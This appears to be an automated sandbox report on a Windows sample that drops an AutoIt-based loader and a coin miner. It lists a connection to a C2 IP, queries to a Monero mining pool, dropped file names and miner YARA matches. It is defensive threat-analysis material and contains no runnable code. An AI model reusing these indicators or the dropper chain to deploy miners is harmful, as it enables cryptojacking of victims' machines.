Windows Analysis Report
file.exe

Writes many files with high entropy

Source: global traffic

TCP traffic: 192.168.2.5:49735 -> 163.172.171.111:10343

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: DqnJUgbSFuO.DqnJUgbSFuO
Source: global traffic	DNS traffic detected: DNS query: xmr-eu2.nanopool.org

Source: file.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: explorer.exe, 00000012.00000002.3265796424.0000000005480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.cloudflare.com/origin_ca.crl
Source: explorer.exe, 00000012.00000003.2611556085.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2354530325.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2354580125.00000000013C4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.3264505846.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2703373555.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2354530325.00000000013C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.cloudflare.com/origin_ca.crl0
Source: file.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: file.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: Reynolds.com, 0000000A.00000003.2079865873.000001A69B00A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2313532248.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, ZeusChat.scr.10.dr, Reynolds.com.2.dr, Tech.0.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Reynolds.com, 0000000A.00000003.2079865873.000001A69B00A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2313532248.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, ZeusChat.scr.10.dr, Reynolds.com.2.dr, Tech.0.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Reynolds.com, 0000000A.00000003.2079865873.000001A69B00A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2313532248.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, ZeusChat.scr.10.dr, Reynolds.com.2.dr, Tech.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Reynolds.com, 0000000A.00000003.2079865873.000001A69B00A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2313532248.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, ZeusChat.scr.10.dr, Reynolds.com.2.dr, Tech.0.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: file.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: file.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000012.00000003.2642127911.0000000001335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.3264409592.0000000001336000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.cloudflare.com/origin_ca
Source: explorer.exe, 00000012.00000003.2611556085.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2354530325.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2354580125.00000000013C4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.3264505846.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2703373555.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.3265796424.0000000005480000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2354530325.00000000013C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.cloudflare.com/origin_ca0
Source: file.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: file.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: file.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: Reynolds.com, 0000000A.00000003.2079865873.000001A69B00A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2313532248.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, ZeusChat.scr.10.dr, Reynolds.com.2.dr, Tech.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Reynolds.com, 0000000A.00000003.2079865873.000001A69B00A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2313532248.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, ZeusChat.scr.10.dr, Reynolds.com.2.dr, Tech.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Reynolds.com, 0000000A.00000003.2079865873.000001A69B00A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2313532248.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, ZeusChat.scr.10.dr, Reynolds.com.2.dr, Tech.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Reynolds.com, 0000000A.00000003.2079865873.000001A69B00A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2313532248.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, ZeusChat.scr.10.dr, Reynolds.com.2.dr, Tech.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Reynolds.com, 0000000A.00000003.2079865873.000001A69B00A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2313532248.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, ZeusChat.scr.10.dr, Reynolds.com.2.dr, Tech.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: Reynolds.com, ZeusChat.scr	String found in binary or memory: http://www.autoitscript.com/autoit3/
Source: Reynolds.com, 0000000A.00000003.2079865873.000001A69B00A000.00000004.00000001.00020000.00000000.sdmp, Reynolds.com, 0000000A.00000000.2066097134.00007FF7AA1E4000.00000002.00000001.01000000.00000007.sdmp, ZeusChat.scr, 00000010.00000000.2205239967.00007FF7520F4000.00000002.00000001.01000000.00000009.sdmp, Reynolds.com, 00000011.00000000.2255000492.00007FF7AA1E4000.00000002.00000001.01000000.00000007.sdmp, explorer.exe, 00000012.00000003.2313532248.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2411864117.0000000015614000.00000004.00000020.00020000.00000000.sdmp, ZeusChat.scr, 00000014.00000000.2409093623.00007FF7520F4000.00000002.00000001.01000000.00000009.sdmp, ZeusChat.scr, 00000015.00000000.2415165241.00007FF7520F4000.00000002.00000001.01000000.00000009.sdmp, ZeusChat.scr.10.dr, Reynolds.com.2.dr, Tech.0.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: file.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: explorer.exe, 00000012.00000002.3264299114.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/horsicq/DIE-engine
Source: Reynolds.com, 0000000A.00000003.2079865873.000001A69B00A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2313532248.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, ZeusChat.scr.10.dr, Reynolds.com.2.dr, Tech.0.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: file.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: Tech.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Reynolds.com, 0000000A.00000003.2079865873.000001A69B00A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2313532248.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, ZeusChat.scr.10.dr, Reynolds.com.2.dr, Tech.0.dr	String found in binary or memory: https://www.globalsign.com/repository/06
Source: explorer.exe, 00000012.00000002.3264299114.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.virustotal.com/en/search/?query=

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050F9

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044D1

Spam, unwanted Advertisements and Ransom Demands

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Americans entropy: 7.99760011473	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Satin entropy: 7.99764862118	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Rid entropy: 7.9977091016	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Eagle entropy: 7.99799114247	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Matching entropy: 7.99710399078	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Eugene entropy: 7.99803047909	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Smithsonian entropy: 7.99798906004	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Exhibits entropy: 7.99744911231	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Psychiatry entropy: 7.99633350563	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Through entropy: 7.99745463306	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Dealing entropy: 7.99815989653	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Carlo entropy: 7.99711927339	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Hotel entropy: 7.99835032646	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Landscape entropy: 7.99751935648	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Wendy entropy: 7.99809069172	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Expert entropy: 7.99780337689	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Turns entropy: 7.99807412881	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Holdem entropy: 7.99752904365	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Ai entropy: 7.99764618877	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Households entropy: 7.99708688405	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Guy entropy: 7.99699953217	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Result entropy: 7.99746905943	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Elliott entropy: 7.99808822812	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Norway entropy: 7.99778041078	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Exempt entropy: 7.99612802037	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Blvd entropy: 7.99621538932	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Jungle entropy: 7.99756807934	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Biodiversity entropy: 7.99816036628	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Chan entropy: 7.99708921533	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Typical entropy: 7.99755405965	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Def entropy: 7.99714947873	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Ebooks entropy: 7.99790460139	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Odds entropy: 7.99741776079	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Peeing entropy: 7.99746302181	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Innocent entropy: 7.99812179691	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Sucking entropy: 7.99806777596	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Resolutions entropy: 7.99730244217	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Delaware entropy: 7.99692887592	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Tm entropy: 7.99791944878	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Actual entropy: 7.99741011645	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Drums entropy: 7.99729494549	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Lambda entropy: 7.99792392141	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Same entropy: 7.99747556	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Games entropy: 7.99745741408	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Jpg entropy: 7.99792471662	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Individuals entropy: 7.99688013161	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Nervous entropy: 7.99786086382	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Seafood entropy: 7.99764350559	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\29442\l entropy: 7.99994417377	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	File created: C:\Users\user\AppData\Local\CyberSphere Dynamics\M entropy: 7.99994417377	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 23.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 23.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_000002453CA21394 NtAlpcCreatePortSection,		17_2_000002453CA21394
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 21_2_0000014D5CA91394 NtQueryInformationByName,		21_2_0000014D5CA91394

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,

0_2_004038AF

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\DownReceptor	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\ComfortSick	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\IdeasApp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\CentralAvoiding	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\JoiningMazda	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\UruguayNorthern	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\MozambiqueAppropriate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\TeddySecretariat	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\OrganDiscretion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\VatBukkake	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\KeyboardsTwin	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040737E	0_2_0040737E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406EFE	0_2_00406EFE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004079A2	0_2_004079A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004049A8	0_2_004049A8
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_000002453CA24F10	17_2_000002453CA24F10
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_000002453CA2E6F0	17_2_000002453CA2E6F0
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_000002453CA2B550	17_2_000002453CA2B550
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_000002453CA25530	17_2_000002453CA25530
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA132BB0	17_2_00007FF7AA132BB0
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA136C74	17_2_00007FF7AA136C74
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA188CB0	17_2_00007FF7AA188CB0
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA100950	17_2_00007FF7AA100950
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA0FB9B0	17_2_00007FF7AA0FB9B0
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA10EAA8	17_2_00007FF7AA10EAA8
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA1A1F40	17_2_00007FF7AA1A1F40
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA122F6C	17_2_00007FF7AA122F6C
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA11BFC0	17_2_00007FF7AA11BFC0
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA10203B	17_2_00007FF7AA10203B
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA10F070	17_2_00007FF7AA10F070
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA11BD44	17_2_00007FF7AA11BD44
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA103D70	17_2_00007FF7AA103D70
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA127DFC	17_2_00007FF7AA127DFC
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA19AE10	17_2_00007FF7AA19AE10
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA0FAEC0	17_2_00007FF7AA0FAEC0
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA102EE0	17_2_00007FF7AA102EE0
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA129360	17_2_00007FF7AA129360
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA114364	17_2_00007FF7AA114364
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA0F24D4	17_2_00007FF7AA0F24D4
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA11549C	17_2_00007FF7AA11549C
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA13512C	17_2_00007FF7AA13512C
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA19C284	17_2_00007FF7AA19C284
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA11C28C	17_2_00007FF7AA11C28C
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA106260	17_2_00007FF7AA106260
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA132290	17_2_00007FF7AA132290
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA128270	17_2_00007FF7AA128270
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA0F8790	17_2_00007FF7AA0F8790
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA11F760	17_2_00007FF7AA11F760
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA101820	17_2_00007FF7AA101820
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA0F2820	17_2_00007FF7AA0F2820
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA0F4528	17_2_00007FF7AA0F4528
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA1215E0	17_2_00007FF7AA1215E0
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA12A650	17_2_00007FF7AA12A650
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA136680	17_2_00007FF7AA136680
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA1316D0	17_2_00007FF7AA1316D0
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA1276EC	17_2_00007FF7AA1276EC
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752039360	20_2_00007FF752039360
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752024364	20_2_00007FF752024364
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75202549C	20_2_00007FF75202549C
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF7520024D4	20_2_00007FF7520024D4
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75204512C	20_2_00007FF75204512C
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752038270	20_2_00007FF752038270
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752016260	20_2_00007FF752016260
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75202C28C	20_2_00007FF75202C28C
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752042290	20_2_00007FF752042290
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF7520AC284	20_2_00007FF7520AC284
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75202F760	20_2_00007FF75202F760
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752008790	20_2_00007FF752008790
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752002820	20_2_00007FF752002820
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752011820	20_2_00007FF752011820
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752004528	20_2_00007FF752004528
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF7520315E0	20_2_00007FF7520315E0
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75203A650	20_2_00007FF75203A650
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752046680	20_2_00007FF752046680
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF7520416D0	20_2_00007FF7520416D0
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF7520376EC	20_2_00007FF7520376EC
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752042BB0	20_2_00007FF752042BB0
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752046C74	20_2_00007FF752046C74
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752098CB0	20_2_00007FF752098CB0
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752010950	20_2_00007FF752010950
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75200B9B0	20_2_00007FF75200B9B0
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75201EAA8	20_2_00007FF75201EAA8
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF7520B1F40	20_2_00007FF7520B1F40
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752032F6C	20_2_00007FF752032F6C
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75202BFC0	20_2_00007FF75202BFC0
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75201203B	20_2_00007FF75201203B
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75201F070	20_2_00007FF75201F070
